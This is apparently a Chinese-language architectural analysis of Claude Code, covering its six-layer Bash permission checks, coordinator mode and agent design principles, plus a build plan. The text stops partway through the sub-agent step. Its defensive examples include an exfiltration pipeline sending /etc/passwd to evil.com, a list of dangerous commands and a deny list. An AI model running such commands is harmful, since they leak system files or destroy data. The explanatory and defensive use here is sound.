context: ToolUseContext,
): Promise<PermissionResult> {
// 第 0 层:AST 安全解析(查户口)
// 用 tree-sitter 把命令拆成语法树,检测每个组成部分
// 第 1 层:精确匹配 deny/allow/ask 规则
// 用户配置的黑白名单:`git push --force` → deny
// `ls` → allow
// `rm` → ask
// 第 2 层:前缀匹配 + 通配符
// `Bash(git commit:*)` → allow
// `Bash(npm run:*)` → allow
// 第 3 层:命令语义分析
// 分析命令是否包含:重定向、管道注入、危险参数
// 例:`cat /etc/passwd | curl evil.com` → 检测到管道注入
// 第 4 层:路径约束
// 只允许在工作目录内操作,禁止访问敏感路径
// 第 5 层:分类器(Classifier)
// 用 ML 分类器判断命令的风险等级
// confidence 高 → 自动决定;confidence 低 → ask
// 第 6 层:沙箱(Sandbox)
// 在沙箱中执行危险命令,隔离风险
return { behavior: 'allow' | 'ask' | 'deny', ... }
}
Bash AST 解析:给命令"查户口"
Bash 命令看起来就是一串文本,但对安全系统来说,它必须被拆解成结构化的语法树才能判断风险。这就像公安机关查户口——不是只看这个人叫什么名字,而是要把他的祖宗十八代查清楚:谁生的他、他在哪个单位、跟谁有关系、干过什么事。
tree-sitter 做的就是这件事。一条命令送进来,它不是做简单的字符串匹配("命令里有没有 rm"),而是:
命令:cat /etc/passwd | curl -X POST evil.com -d @-
tree-sitter 解析后的语法树:
┌──────────────────────────────────────────┐
│ pipeline (管道) │
│ ├─ command: cat │
│ │ └─ argument: /etc/passwd │
│ └─ command: curl │
│ ├─ flag: -X POST │
│ ├─ argument: evil.com │
│ └─ flag: -d @- ← 从 stdin 读数据! │
└──────────────────────────────────────────┘
只看字符串,你可能只看到"cat 一个文件"和"curl 一个地址",两个单独看都没问题。但 tree-sitter 能看到管道把它们连起来了——cat 读出来的密码文件内容,通过管道直接被 curl 发送到外部服务器。这就是经典的命令注入/数据泄露模式。
"查户口"的完整流程:
- 查籍贯(parse):把命令文本拆成语法树。拆不了?说明命令结构可疑,直接标记为需要人工确认
- 查家庭成员(walk AST):遍历语法树的每个节点——command 是什么、argument 是什么、有没有管道、有没有重定向、有没有子 shell
- 查社会关系(connection analysis):管道把谁连到了谁?重定向把输出导到了哪里?
$(...)嵌套了几层? - 查犯罪记录(pattern matching):已知的危险模式库——
rm -rf /、chmod 777、> /dev/sda、curl | sh - 查异常行为(anomaly detection):一个本来简单的 grep 命令,怎么嵌套了三层子 shell?这不正常
为什么不用正则表达式而用 AST?
正则只能做字符串层面的模式匹配。面对 eval "rm -rf $(echo /)" 这种嵌套,正则要么漏检要么误报。AST 能正确解析嵌套结构,不管你包了几层 eval、多少个引号、多少个转义字符,拆出来的语法树是准确的。
6 层纵深防御:每层都有独立判断力
上面列了 6 层,但它们不是简单的"全过了才放行"。每层都有独立的决策权:
| 层 | 名称 | 做什么 | 决策权 | 类比 |
|---|---|---|---|---|
| 0 | AST 解析 | 拆语法树,检测结构异常 | 解析失败 → 拒绝 | 海关验护照——护照都看不懂,直接不让进 |
| 1 | 精确匹配 | 用户配置的黑白名单 | 命中 → 直接决定 | 黑名单上的人——不管别的,就是不让进 |
| 2 | 前缀匹配 | git commit:* → allow |
命中 → 直接决定 | VIP 通道——认识这张脸,直接放行 |
| 3 | 语义分析 | 检测管道注入、重定向、危险参数 | 发现异常 → 拒绝或 ask | 安检扫描——包里有可疑物品,开包检查 |
| 4 | 路径约束 | 只允许工作目录内操作 | 越界 → 拒绝 | 围栏——你只能在这个区域活动 |
| 5 | ML 分类器 | 综合判断风险等级 | confidence 高 → 决定,低 → ask | 经验丰富的安检员——说不清就叫主管 |
设计要点:
- 任何一层拒绝,整条命令就死了。不是"6 层都过了才执行",而是"任何一层说不行就不行"。这就是纵深防御的精髓——攻击者必须突破所有层,而不是只需要绕过一层
- Fail-safe 默认值是"拒绝"。解析失败?拒绝。分类器不确定?ask(不直接放行)。规则没覆盖?默认 ask。宁可多问一次用户,也不能默认放行
- 层与层之间是独立的。AST 解析不依赖规则库,规则不依赖分类器。即使分类器被对抗样本骗了,AST 层和规则层仍然能挡住已知攻击模式
- 层层递进,逐步放行。Layer 0 保证命令结构合法,Layer 1-2 处理明确的白名单,Layer 3-4 分析语义和路径,Layer 5 兜底判断。从粗到细,从快到慢
权限模式(PermissionMode):
default:标准权限,高风险操作需要确认planMode:只读模式,不允许任何修改操作bypassPermissions:跳过所有权限检查(仅特殊场景)autoMode:自动模式,根据分类器自动决定
每种工具都有自己的权限类型标注:
isReadOnly:只读工具(Grep、Glob、FileRead)默认允许isDestructive:危险工具(FileWrite、Bash 中的 rm)需要额外确认isConcurrencySafe:并行安全工具可以批量执行
评价
好在哪:
- 6 层防线,纵深防御。不是靠单一检查,而是 AST 解析→规则匹配→语义分析→路径约束→分类器→沙箱,层层递进
- 规则系统灵活。支持精确匹配、前缀匹配、通配符,用户可以细粒度配置
- tree-sitter 做 AST 解析。比正则表达式可靠得多,能正确处理嵌套引号、管道、重定向
- 分类器+规则的混合决策。规则覆盖不了的用分类器兜底,分类器不确定的 ask
差在哪:
- 规则系统复杂度爆炸。精确匹配、前缀、通配符、env var 过滤、wrapper 剥离——组合起来调试非常痛苦
- 分类器是黑盒。用户不知道为什么某个命令被 allow 或 deny,缺乏可解释性
- 沙箱不是默认开启。默认在宿主机上执行,沙箱是可选的——大多数用户可能根本没开
对我们的启发
- 安全必须纵深防御。单点检查一定会被绕过,多层防线是唯一可靠的方案
- 规则系统要简单。Claude Code 的规则系统太复杂了——精确匹配+前缀+通配符+env var+wrapper,建议简化为"命令前缀白名单 + 危险命令黑名单"
- 分类器是必要的补充。规则覆盖不了所有场景,ML 分类器可以兜底。但要给用户看分类器的判断理由
- 沙箱应该默认开启。在容器里跑命令的成本远小于在宿主机上跑 rm -rf 的风险
架构图
┌──────────────────────────────────────────────────────┐
│ Permission System Layers │
│ │
│ Bash 命令提交 │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 0: AST 解析 (tree-sitter) │ │
│ │ 检测命令注入、复杂结构、解析失败 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 1: 精确匹配规则 │ │
│ │ deny / allow / ask 黑白名单 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 2: 前缀 + 通配符 │ │
│ │ Bash(git commit:*) → allow │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 3: 语义分析 │ │
│ │ 管道注入、重定向、危险参数检测 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 4: 路径约束 │ │
│ │ 工作目录内操作,禁止敏感路径 │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 5: ML 分类器 │ │
│ │ 自动判断风险等级 (confidence-based) │ │
│ └────┬────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────────────────────────────────────────┐ │
│ │ Layer 6: 沙箱执行 │ │
│ │ 容器隔离,限制风险 │ │
│ └─────────────────────────────────────────────┘ │
│ │
│ 结果:allow → 直接执行 | ask → 弹窗确认 | deny → 拒绝 │
└──────────────────────────────────────────────────────┘
8. Coordinator:多 Agent 的调度中心
这解决什么问题
当你同时有 5 个子 Agent 在跑——一个在查 bug、一个在改代码、一个在跑测试、一个在查文档、一个在写报告——你需要一个"项目经理"来协调它们。谁先谁后、谁等谁的结果、失败了怎么办、结果怎么汇总?
Coordinator 就是这个项目经理:它自己不干活,只调度工人。
Claude Code 怎么做的
Coordinator 是一个专门的系统提示词模式,通过环境变量 CLAUDE_CODE_COORDINATOR_MODE 开启。核心在 coordinatorMode.ts:
// coordinatorMode.ts — Coordinator 的核心调度逻辑
// 协调者能用的工具只有三个:派工人、继续工人、停止工人
const COORDINATOR_TOOLS = ['AgentTool', 'SendMessageTool', 'TaskStopTool'];
// Continue vs. Spawn 决策:根据上下文重叠度判断
function shouldContinueWorker(
task: TaskDescription,
existingWorkers: Worker[]
): 'continue' | 'spawn' {
const bestMatch = findBestWorker(task, existingWorkers);
if (!bestMatch) return 'spawn'; // 没有合适的工人
const overlap = computeContextOverlap(task, bestMatch.context);
if (overlap > 0.7) return 'continue'; // 高重叠 → 继续
return 'spawn'; // 低重叠 → 派新的
}
// 工人完成后,协调者汇总结果
async function handleWorkerComplete(notification: TaskNotification) {
// notification 格式:<task-notification> XML
const { taskId, status, summary, result, usage } = parseNotification(notification);
if (status === 'completed') {
// 汇总到主结果池,准备下一轮调度
resultPool.merge(taskId, result);
logUsage(usage);
} else {
// 失败 → 决定重试、换方法、还是告诉用户
await handleFailure(taskId, result);
}
}
最有价值的设计是 Continue vs. Spawn 决策:
研究探索的文件和要改的文件一样 → Continue(继续同一个工人)
研究很广但实现很窄 → Spawn fresh(派新工人,避免噪声)
修正失败或扩展最近工作 → Continue(工人有错误上下文)
验证别人写的代码 → Spawn fresh(新鲜视角)
第一版用了完全错的方法 → Spawn fresh(清空重来)
完全无关的任务 → Spawn fresh
工人通知机制用 XML 格式:
<task-notification>
<task-id>agent-a1b</task-id>
<status>completed</status>
<summary>Agent "Investigate auth bug" completed</summary>
<result>Found null pointer in src/auth/validate.ts:42...</result>
<usage>
<total_tokens>N</total_tokens>
<tool_uses>N</tool_uses>
<duration_ms>N</duration_ms>
</usage>
</task-notification>
评价
好在哪:
- 调度逻辑全在提示词里。没有硬编码的工作流引擎,靠 LLM 理解和执行调度规则。这很"Agent"——用 AI 管理 AI
- Continue vs. Spawn 决策框架非常实用。这个二维判断(上下文重叠度高不高)比任何硬编码规则都灵活
- "汇总是协调者最重要的工作"。这条规则防止了"工人直接向工人汇报"的死循环——所有信息流经协调者
- 并行是默认。"Workers are async. Launch independent workers concurrently."——把并行写进系统提示词,而不是靠代码实现
差在哪:
- 纯提示词调度有上限。复杂的工作流依赖(DAG)用提示词表达很脆弱,LLM 可能理解错依赖关系
- 没有超时和资源管理。提示词里没提到工人超时、token 预算、并发数量限制
- Scratchpad 机制太简单。工人间共享信息靠文件系统,没有结构化的消息队列
对我们的启发
- 协调者不干活,只调度。这个角色分离是关键——协调者的 token 应该花在分析和调度上,不是花在执行上
- Continue vs. Spawn 是核心决策。上下文重叠度是判断标准——重叠高就继续,低就新建。这个框架可以复用
- 通知机制要标准化。XML 格式的 task-notification 比自由文本可靠,便于解析和处理
- 并行要写进系统提示词。不要只在代码里支持并行,要让 LLM 理解"并行是默认策略"
架构图
┌──────────────────────────────────────────────────────┐
│ Coordinator Mode │
│ │
│ ┌─────────────────────────────────────────────┐ │
│ │ Coordinator (协调者 - LLM) │ │
│ │ 角色:调度、汇总、与用户沟通 │ │
│ │ 工具:AgentTool / SendMessage / TaskStop │ │
│ └──────────┬──────────────────┬───────────────┘ │
│ │ │ │
│ Continue? Spawn? │
│ (上下文重叠高) (上下文重叠低) │
│ │ │ │
│ ┌────────▼───┐ ┌──────▼──────┐ │
│ │ SendMessage │ │ AgentTool │ │
│ │ (继续工人) │ │ (派新工人) │ │
│ └────────┬───┘ └──────┬──────┘ │
│ │ │ │
│ ┌────────┴──────────────────┴───────────────┐ │
│ │ Workers (工人 - 异步执行) │ │
│ │ ┌────────┐ ┌────────┐ ┌────────┐ │ │
│ │ │Research│ │Implement│ │Verify │ │ │
│ │ │ 调研 │ │ 实现 │ │ 验证 │ │ │
│ │ └────────┘ └────────┘ └────────┘ │ │
│ │ │ │
│ │ 通知格式:<task-notification> XML │ │
│ └───────────────────────────────────────────┘ │
│ │
│ 工作流:Research(并行) → Synthesis → Implement → Verify│
└──────────────────────────────────────────────────────┘
9. 设计范式总结
读完 Claude Code 源码,我提炼出 10 条 Agent 产品设计原则。
原则 1:循环极简,复杂度外推
Agent Loop 本身应该是一个最简单的 while 循环。真正的复杂度在工具、提示词和调度策略里,不在循环结构上。越简单的循环越不容易出 bug。
Claude Code 对应: query.ts 里的主循环只有三步——调 LLM、收工具调用、执行工具。所有业务逻辑都在工具实现和系统提示词里,循环本身不包含任何领域知识。
对其他产品的启发: 这跟 Unix 管道的哲学一样——核心调度器保持简单,复杂性下沉到可组合的工具。如果你发现自己的 Agent Loop 超过 100 行,大概率是在循环里塞了不该塞的东西。任何 Agent 框架都应该把 loop 当作"无脑转发器"来写。
Checklist:
- Agent Loop 是否不超过 50 行核心代码?
- 是否所有状态都存在 messages 队列里?
- 循环是否无状态(每轮从 messages 读、往 messages 写)?
- 循环里有没有硬编码的业务逻辑?
- 循环能否在不改代码的情况下接入新工具?
原则 2:工具是 Agent 的手,提示词是 Agent 的脑
工具决定了 Agent 能做什么,提示词决定了 Agent 什么时候做、怎么做。花在写工具提示词上的时间,应该不少于花在写工具代码上的时间。
Claude Code 对应: 每个工具(BashTool、FileEditTool 等)都有详细的 description 和 whenToUse 字段。系统提示词里对每个工具的使用场景、限制条件、安全规则都做了长篇幅的说明。工具注册时必须同时提供 JSON Schema 和描述文本。
对其他产品的启发: 大多数 Agent 框架犯的错误是"写了个工具函数就完事了"。实际上工具描述才是产品的核心资产。ChatGPT 的 Plugin / Function Calling 生态之所以做起来了,就是因为工具描述遵循了统一的 schema 规范。你的工具描述质量,直接决定 Agent 的智商上限。
Checklist:
- 每个工具是否有清晰的 whenToUse 描述?
- 工具提示词是否包含安全规则和最佳实践?
- 危险操作是否在提示词里明确标注?
- 工具描述是否经过实际场景验证?
- 新工具是否经过"LLM 能不能正确理解"的测试?
原则 3:元信息是调度的前提
每个工具必须标注 isReadOnly、isConcurrencySafe、isDestructive。这些元信息直接决定了调度策略,不需要在调度层硬编码。
Claude Code 对应: Tool.ts 接口要求每个工具实现这三个布尔属性。toolOrchestration.ts 根据这些标注自动分区:isReadOnly && isConcurrencySafe 的工具并行执行,其他的串行。新增工具不需要改调度逻辑。
对其他产品的启发: 这其实是声明式编程的经典思路——你描述"是什么"而不是"怎么做"。Kubernetes 的 Pod label、React 的 key prop、数据库的索引 hint,本质上都是这个模式。Agent 系统里,工具元信息就是调度器的索引——没有它,调度层只能硬编码。
Checklist:
- 每个工具是否都有这三个标注?
- 标注是否准确(特别是并行安全性)?
- 新增工具时是否有 lint 规则检查这些标注?
- 标注是否影响了实际的调度行为?
- 是否有测试验证标注的正确性?
原则 4:纵深防御,不要单点信任
权限系统必须多层。靠单一检查(比如"命令前缀匹配")一定会被绕过。AST 解析 + 规则匹配 + 分类器 + 沙箱,层层递进。
Claude Code 对应: bashPermissions.ts 实现了 6 层防御:AST 解析(tree-sitter)→ 精确匹配规则 → 前缀/通配符匹配 → 语义分析(注入检测)→ 路径约束 → ML 分类器 + 沙箱。任何一层拒绝,命令就不会执行。AST 解析失败时,默认行为是拒绝。
对其他产品的启发: 安全领域有一句话——"攻击者总会找到你没想到的路径"。所以不要指望一层防御挡住所有攻击。类比 Web 安全的纵深防御(WAF + CSP + CORS + 输入校验 + 输出编码),Agent 的权限系统也应该多层。特别注意:fail-safe 默认值必须是"拒绝",不能是"允许"。
Checklist:
- 安全检查是否有至少 3 层?
- 是否有 fail-safe(解析失败时默认拒绝)?
- 危险操作是否有日志和审计?
- 每层防御是否有独立的绕过测试?
- 是否有定期的红队测试?
原则 5:上下文是消耗品,不是资产
上下文窗口会用完。多级降级(compact → reactive → collapse)是刚需。token 追踪是基础设施,不是优化项。
Claude Code 对应: 上下文管理模块实现了三级降级:autoCompact(自动压缩历史对话)→ reactiveCompact(响应式压缩,按需触发)→ contextCollapse(上下文坍缩,只保留最关键信息)。每级都有 token 预算追踪,分为任务级和轮级两层。
对其他产品的启发: 很多团队把上下文管理当作"优化项",觉得先不管也能用。这是错的。上下文窗口一旦满了,Agent 就会"失忆",之前做的所有工作都白费。上下文管理应该在产品设计阶段就考虑,而不是等到出了问题再补。就像内存管理——你不会等到 OOM 才想 GC 的事。
Checklist:
- 是否有 token 实时追踪?
- 是否有多级压缩/降级策略?
- 压缩边界是否有标记便于审计?
- 是否有任务级和轮级两级预算?
- 压缩后信息丢失是否有补偿机制?
原则 6:子 Agent 就是完整的 Agent
不要搞"轻量版"和"完整版"两套。子 Agent 复用主 Agent 的核心循环,只是输入不同。维护两套代码的成本远大于"多传几个参数"的成本。
Claude Code 对应: runAgent() 函数直接调用 query() 函数——子 Agent 和主 Agent 用的是同一套循环、同一套工具接口、同一套权限系统。区别只在输入参数:子 Agent 传入的是精简过的系统提示词和任务描述,而不是完整的对话历史。
对其他产品的启发: 这就是组合模式(Composite Pattern)在 Agent 架构里的应用。子 Agent 不是"阉割版",而是"同一类的另一个实例"。就像递归函数——base case 和 recursive case 用同一套逻辑。AutoGPT 早期犯的错误就是子 Agent 和主 Agent 用不同逻辑,导致行为不一致、难以调试。
Checklist:
- 子 Agent 是否复用主 Agent 的 query 函数?
- 子 Agent 是否有完整的工具集和权限系统?
- 是否有嵌套深度限制?
- 子 Agent 的系统提示词是否经过单独优化?
- 子 Agent 的输出格式是否标准化?
原则 7:并行是默认,串行是例外
读操作天然并行安全,写操作需要串行。按安全性分区,能并行的并行。流式返回让并行的收益体现在用户感知上。
Claude Code 对应: toolOrchestration.ts 在收到多个工具调用时,先按 isReadOnly 分区:读操作全部并行(用 Promise.all),写操作按顺序执行。流式响应让并行的收益直接体现在用户感知上——用户不需要等所有工具执行完就能看到部分结果。
对其他产品的启发: 大多数 Agent 框架默认串行执行工具调用,这浪费了大量时间。并行执行的前提是工具元信息准确——你得知道哪些工具可以并行。这又回到了原则 3。流式返回也很关键:并行执行如果没有流式返回,用户感知上还是"等了很久然后一下全出来"。
Checklist:
- 工具调度是否自动分区(读/写)?
- 并行上限是否有合理配置?
- 流式返回是否启用?
- 并行工具之间是否有依赖检测?
- 并行失败时是否有降级到串行的机制?
原则 8:协调者不干活
调度和执行必须分离。协调者的 token 花在分析和调度上,不花在执行上。工人完成后汇报给协调者,协调者汇总后告诉用户。
Claude Code 对应: Coordinator 模式下,主 Agent(协调者)的系统提示词明确写了"你负责调度,不负责执行"。工人完成后通过标准化的 XML 通知格式汇报。协调者的工具集被限制——不能直接执行文件编辑,只能派工人。
对其他产品的启发: 类比工地上的工头——工头不搬砖,因为他要同时看全局:哪组人进度慢了、材料够不够、下一步先做哪个。如果工头自己也去砌墙,他就没人盯着调度了。Agent 协调者同理:token 就是注意力,花在执行细节上就没法做好调度。而且协调者和工人用同样的工具,会产生冲突(两个 Agent 同时编辑同一个文件就是灾难)。
Checklist:
- 协调者是否有明确的"不执行"规则?
- 工人通知是否标准化?
- Continue vs. Spawn 决策是否有框架?
- 协调者的工具集是否被限制?
- 是否有工人之间的冲突检测?
原则 9:记忆要自动整理,但要可审计
自动提取和整理是正道,但用户要能看到记忆、编辑记忆、删除记忆。记忆要有生命周期,过期自动降权。
Claude Code 对应: memdir/ 目录存储持久化记忆。consolidationPrompt 在对话结束时自动从对话中提取关键信息。findRelevantMemories 在新对话开始时根据语义相似度检索相关记忆。记忆文件是纯文本,用户可以直接查看和编辑。
对其他产品的启发: 记忆系统的最大风险是"幻觉记忆"——Agent 把错误信息记住了,然后在后续对话中当作事实引用。所以可审计比自动整理更重要。用户必须能看见 Agent 记住了什么,并且能删除错误的记忆。类比搜索引擎的索引——你能搜索到什么,取决于索引里有什么;你能信任什么,取决于你能审计索引。
Checklist:
- 记忆是否自动从对话中提取?
- 用户是否能看到和编辑记忆?
- 记忆是否有过期机制?
- 记忆提取是否有质量检查?
- 是否有记忆冲突检测?
原则 10:提示词是产品,不是代码注释
工具提示词就是产品文档。它决定 LLM 的行为质量。写提示词要用产品思维——考虑用户(LLM)的理解成本、决策路径、错误恢复。
Claude Code 对应: Claude Code 的系统提示词经过大量迭代,每个工具的描述都包含:角色定位、使用条件、输入约束、输出格式、安全规则、常见错误、错误恢复策略。这不是"代码注释",而是精心设计的产品文档。
Checklist:
- 提示词是否有明确的结构(角色→规则→示例→边界)?
- 是否包含错误处理指引?
- 是否经过实际场景测试?
- 提示词是否区分了"什么时候用"和"怎么用"?
- 是否有针对常见误用的纠偏说明?
原则 11:工具的 description 是给 LLM 看的产品手册
大多数 Agent 框架把工具 description 当成 API 文档来写——一行话说明这个工具干什么。但 LLM 不是程序员,它不会去猜你没写的意思。工具 description 应该是产品手册:场景 → 决策树 → 示例 → 红线。
Claude Code 对应: BashTool 的 description 不只是"执行 bash 命令",而是一整套使用指南——什么时候该用 bash 而不是其他工具、git 操作的 5 步 SOP、绝对不能做的事情(NEVER force push)、并行执行的提示。FileEditTool 的 description 会根据当前编辑模式变化(insert/replace/delete),动态适配 LLM 的决策需求。
对其他产品的启发: 你给一个新员工写操作手册,不会只写"用 Excel 做表"。你会写"数据量小于 1000 行用 Excel,大于 1000 行用 Python,导出格式选 CSV,千万别选 XLS(兼容性差)"。LLM 就是那个新员工,工具 description 就是操作手册。写得越详细、决策路径越短,Agent 执行质量越高。反过来,description 写得模糊,Agent 就会频繁犯低级错误——不是因为模型不行,是因为你没教它。
Checklist:
- 工具 description 是否回答了"什么时候用"而不只是"干什么"?
- 是否包含具体的使用示例?
- 是否有明确的红线(NEVER / 不要 / 禁止)?
- description 是否区分了"怎么用"和"什么时候不该用"?
- 高风险工具的 description 是否包含 SOP 流程?
原则 12:上下文窗口是 Agent 的工作台,不是仓库
把 context window 想象成物理的工作台——面积有限,你只能在上面放正在用的东西。用完的文件要收进抽屉(持久化记忆),不重要的草稿要扔掉(compact),新的任务要用新空间。
Claude Code 对应: Claude Code 的多级降级(compact → reactive → context collapse)本质上是在管理工作台空间。Prompt caching 的前缀复用是"把常用的工具固定放在桌角"——不挪位置就能快速拿到。Compact 是"把桌上堆了三天的旧文件收起来,写个标签"。Context collapse 是"桌子彻底满了,只好把所有东西都扫到地上,只留正在用的那一件"。
对其他产品的启发: 上下文里无关信息越多,LLM 的注意力越分散,决策质量反而下降("Lost in the Middle"效应)。正确的思路是"最小上下文原则"——只给 Agent 当前任务必需的信息。
Checklist:
- 每轮对话的 token 消耗是否有实时追踪?
- 是否遵循"最小上下文"原则(不往 context 里塞无关信息)?
- 系统提示词是否放在最前面且尽量稳定(最大化 prompt cache 命中)?
- 工具描述是否按需加载(defer / search),而不是全量塞入?
- Compact 后是否保留了最近几轮的原始对话(保护 prompt cache)?
10. 如果我来做 Agent 产品
基于以上分析,如果从零开始做一个 Agent 产品,我会按 6 周拆开,每周有明确的交付物和验收标准。
第一步:最小可行 Agent Loop(第一周)
目标: 能跑通"用户输入 → LLM 思考 → 工具执行 → 返回结果"的基本循环。不需要好看,能跑就行。
目录结构:
agent/
├── loop.ts ← 核心 Agent Loop,不超过 50 行
├── types.ts ← Message、ToolCall、ToolResult 类型定义
├── tools/
│ ├── index.ts ← 工具注册表
│ ├── bash.ts ← 执行 shell 命令
│ ├── file_read.ts ← 读文件
│ ├── file_write.ts ← 写文件
│ ├── web_search.ts ← 搜索(先用现成 API)
│ └── todo.ts ← 待办管理
├── llm.ts ← LLM 调用封装(支持流式)
└── index.ts ← 入口,CLI / HTTP 都行
核心代码结构:
// loop.ts —— 这就是整个 Agent Loop
async function* agentLoop(messages: Message[], tools: Tool[]): AsyncGenerator<StreamEvent> {
while (true) {
// 1. 调 LLM(流式)
const response = await streamLLM(messages, tools);
// 2. 收集工具调用
const toolCalls = collectToolCalls(response);
if (toolCalls.length === 0) {
// LLM 决定不再调工具,对话结束
yield { type: 'done', content: response.text };
return;
}
// 3. 执行工具(先全部串行,后面再优化)
for (const call of toolCalls) {
const tool = tools.find(t => t.name === call.name);
const result = await tool.execute(call.args);
messages.push({
role: 'tool',
tool_call_id: call.id,
content: JSON.stringify(result)
});
yield { type: 'tool_result', call, result };
}
}
}
工具接口定义:
// types.ts
interface Tool {
name: string;
description: string; // 给 LLM 看的描述
parameters: JSONSchema; // 参数 schema
isReadOnly: boolean; // 后面会用到
isConcurrencySafe: boolean; // 后面会用到
isDestructive: boolean; // 后面会用到
execute(args: Record<string, unknown>): Promise<ToolResult>;
}
验收标准:
- 命令行输入一句话,能返回 LLM 的回复
- LLM 能调用至少 3 个工具
- 工具调用结果能正确返回给 LLM
- 支持流式输出
- 能处理工具执行异常(不崩)
第二步:工具系统(第二周)
目标: 让工具系统真正可用——描述准确、参数校验、错误恢复。
核心改造:
// tools/base.ts —— 抽象基类
abstract class BaseTool implements Tool {
abstract name: string;
abstract description: string;
abstract parameters: JSONSchema;
// 元信息标注——后面调度会用
abstract isReadOnly: boolean;
abstract isConcurrencySafe: boolean;
abstract isDestructive: boolean;
// 参数校验——在 execute 之前做
validate(args: Record<string, unknown>): ValidationResult {
return validateSchema(this.parameters, args);
}
// 执行——子类实现
abstract execute(args: Record<string, unknown>): Promise<ToolResult>;
// 描述生成——自动从 metadata 生成给 LLM 的描述
getDescription(): string {
return `
${this.description}
参数:
${formatSchema(this.parameters)}
元信息:
- 只读:${this.isReadOnly}
- 并行安全:${this.isConcurrencySafe}
- 破坏性操作:${this.isDestructive}
${this.isDestructive ? '⚠️ 这是破坏性操作,执行前请确认。' : ''}
`.trim();
}
}
工具注册改为声明式:
// tools/index.ts
const TOOL_REGISTRY: Map<string, Tool> = new Map();
function registerTool(tool: Tool): void {
// lint 检查:必须有三个元信息标注
if (tool.isReadOnly === undefined || tool.isConcurrencySafe === undefined || tool.isDestructive === undefined) {
throw new Error(`Tool ${tool.name} missing metadata annotations`);
}
TOOL_REGISTRY.set(tool.name, tool);
}
// 注册
registerTool(new BashTool());
registerTool(new FileReadTool());
registerTool(new FileWriteTool());
registerTool(new WebSearchTool());
registerTool(new TodoTool());
// 自动生成给 LLM 的工具列表
function getToolDescriptions(): string[] {
return Array.from(TOOL_REGISTRY.values()).map(t => t.getDescription());
}
验收标准:
- 所有工具有完整的 JSON Schema 定义
- 所有工具有三个元信息标注
- 参数校验在执行前完成
- 工具描述包含使用场景和安全规则
- 新增工具必须通过 lint 检查
第三步:权限系统(第三周)
目标: 命令执行有安全网。三层防御起步。
目录结构:
agent/
├── permissions/
│ ├── index.ts ← 权限检查入口
│ ├── rules.ts ← 黑白名单规则
│ ├── pattern.ts ← 前缀/通配符匹配
│ ├── sandbox.ts ← 沙箱执行
│ └── types.ts ← PermissionResult 类型
核心代码:
// permissions/index.ts
interface PermissionResult {
allowed: boolean;
reason: string;
layer: string; // 哪一层拒绝的
}
async function checkPermission(command: string): Promise<PermissionResult> {
// 第一层:规则匹配(黑白名单)
const ruleResult = checkRules(command);
if (!ruleResult.allowed) return { ...ruleResult, layer: 'rules' };
// 第二层:模式匹配(危险命令前缀)
const patternResult = checkPatterns(command);
if (!patternResult.allowed) return { ...patternResult, layer: 'pattern' };
// 第三层:沙箱检测(命令是否涉及敏感路径)
const sandboxResult = checkSandbox(command);
if (!sandboxResult.allowed) return { ...sandboxResult, layer: 'sandbox' };
// 全部通过
return { allowed: true, reason: 'All checks passed', layer: 'all' };
}
// BashTool 中集成
class BashTool extends BaseTool {
async execute(args: { command: string }): Promise<ToolResult> {
const permission = await checkPermission(args.command);
if (!permission.allowed) {
// 拒绝 + 告知 LLM 哪一层拒绝的
return {
success: false,
error: `Permission denied by ${permission.layer}: ${permission.reason}`,
suggestion: 'Try a different approach or ask the user for permission.'
};
}
// 通过则执行
return await execCommand(args.command);
}
}
规则配置(用户可编辑):
# permissions/rules.yaml
rules:
deny:
- pattern: "rm -rf /"
- pattern: "curl * | bash"
- pattern: "sudo *"
allow:
- pattern: "ls *"
- pattern: "cat *"
- pattern: "git status"
ask:
- pattern: "git push *"
- pattern: "npm install *"
- pattern: "docker *"
验收标准:
- 危险命令被拦截,LLM 收到明确的错误信息
- 用户可通过配置文件自定义规则
- 每层拒绝都有日志记录
- 默认行为是拒绝(deny by default)
- 解析失败时拒绝(fail-safe)
第四步:上下文管理(第四周)
目标: 对话不会因为太长而崩溃。三层防御。
目录结构:
agent/
├── context/
│ ├── tracker.ts ← token 实时追踪
│ ├── compact.ts ← 自动压缩
│ ├── budget.ts ← token 预算管理
│ └── types.ts ← ContextState 类型
核心代码:
// context/tracker.ts
class TokenTracker {
private used: number = 0;
private budget: number;
constructor(budget: number) {
this.budget = budget;
}
track(messages: Message[]): void {
this.used = messages.reduce((sum, m) => sum + estimateTokens(m), 0);
}
getUsagePercent(): number {
return (this.used / this.budget) * 100;
}
// 三级告警
getStatus(): 'ok' | 'warning' | 'critical' | 'collapse' {
const pct = this.getUsagePercent();
if (pct < 60) return 'ok';
if (pct < 75) return 'warning';
if (pct < 90) return 'critical';
return 'collapse';
}
}
// context/compact.ts
async function autoCompact(messages: Message[], tracker: TokenTracker): Promise<Message[]> {
const status = tracker.getStatus();
switch (status) {
case 'ok':
return messages; // 不需要压缩
case 'warning':
// 轻度压缩:合并相邻的同角色消息
return mergeConsecutive(messages);
case 'critical':
// 中度压缩:用 LLM 总结历史对话
return await llmCompact(messages, { preserveLastN: 10 });
case 'collapse':
// 重度压缩:只保留系统提示词 + 最近 5 条 + 关键事实
return await contextCollapse(messages, { keepLastN: 5 });
}
}
在 Agent Loop 中集成:
// loop.ts(修改版)
async function* agentLoop(messages: Message[], tools: Tool[]) {
const tracker = new TokenTracker(MAX_TOKENS);
while (true) {
// 每轮开始前检查上下文
tracker.track(messages);
messages = await autoCompact(messages, tracker);
// 原有逻辑...
const response = await streamLLM(messages, tools);
// ...
}
}
验收标准:
- 60% / 75% / 90% 三级告警正常工作
- 压缩后 LLM 行为没有明显退化
- 压缩边界有标记(方便调试和审计)
- 用户可以查看当前 token 使用情况
- 压缩过程中不会丢失正在执行的任务
第五步:子 Agent 编排(第五周)
目标: 能派工人,并行执行,结果汇总。
目录结构:
agent/
├── agents/
│ ├── runner.ts ← 子 Agent 启动器
│ ├── coordinator.ts ← 协调者逻辑
│ ├── pool.ts ← 工人池管理
